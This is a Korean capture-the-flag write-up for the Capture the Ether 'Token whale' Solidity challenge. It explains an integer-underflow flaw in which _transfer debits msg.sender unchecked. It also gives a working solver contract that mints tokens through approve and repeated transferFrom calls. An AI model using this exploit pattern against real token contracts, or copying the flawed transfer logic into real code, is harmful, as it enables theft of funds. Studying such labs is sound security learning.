Capture the ether-Token whale

problem link

pragma solidity ^0.4.21;
 
contract TokenWhaleChallenge {
    address player;
 
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;
 
    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }
 
    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
 
        emit Transfer(msg.sender, to, value);
    }
 
    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
 
        _transfer(to, value);
    }
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }
 
    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);
 
        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

처음에 1000개의 토큰을 소유하고 있다. 1000000 개의 토큰을 얻어내라.

풀이

solidity 0.4.21 버전을 이용하기에, SafeMath가 자동으로 적용되지 않는다.

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);
 
        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }

transferFrom 함수에서 allowance[from][msg.sender] -= value; 를 계산한다. transferFrom은 from to로, from의 잔고를 꺼내 to에게 주는 것이다. 그런데 여기서는 _transfer(to, value);를 호출하고 있다.

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
 
        emit Transfer(msg.sender, to, value);
    }

_transfer 함수는 from to 가 아니라 msg.sender to 로 전송한다. _transfer를 호출하는 transfertransferFrom 함수에서는 언더플로우 여부를 체크하지만 _transfer에서는 체크하지 않는다. msg.sender에게 실제로 잔고가 없더라도 무한생성해낼 수 있다.

transferFrom의 호출 조건을 맞춰준 뒤 transferFrom를 호출하면 된다.

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value); // balanceOf[from] 언더플로우 체크
        require(balanceOf[to] + value >= balanceOf[to]); // balanceOf[to] 오버플로우 체크
        require(allowance[from][msg.sender] >= value); // allowance 언더플로우 체크 
 
        allowance[from][msg.sender] -= value;
        _transfer(to, value); // msg.sender -> to 전송 처리
    }
  1. allowance 값을 먼저 크게 넣어둔다. approve 호출 시 balance 체크를 하지 않으므로 소유한 것보다 많이 approve 할 수 있다.
  2. player 와 다른 주소로 transferFrom을 호출한다. value는 player가 가지고 있는 토큰 수가 최대이다.
// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface TokenWhaleChallenge {
    function approve(address spender, uint256 value) external;
    function transferFrom(address from, address to, uint256 value) external;
    function balanceOf(address user) external returns (uint256);
}
 
contract TokenWhaleSolver {
    address payable public owner;
    TokenWhaleChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = TokenWhaleChallenge(payable(_problem));
    }
 
    function solve() public {
        // uint256 UINT_MAX = 2**256 - 1;
        // problem.approve(address(this), UINT_MAX); // execute this with player account, at problem contract.
        uint256 balance = problem.balanceOf(owner);
        while(balance < 1000000){
            problem.transferFrom(owner, owner, balance);
            balance = problem.balanceOf(owner);
        }
 
        extract();
    }
 
    function extract() public {
        owner.transfer(address(this).balance);
    }
 
    receive() external payable { }
}

다음은 공격 코드이다. 컨트랙트를 이용하면 자연스럽게 player와 다른 주소를 이용하게 된다. 귀찮아서 approve는 직접 호출하도록 했다. player 계정으로 문제 컨트랙트에 직접 approve 컨트랙트 콜을 한 뒤 solve를 호출해야 한다.


tags: writeup, blockchain, solidity, smart contract, integer overflow underflow, solidity safemath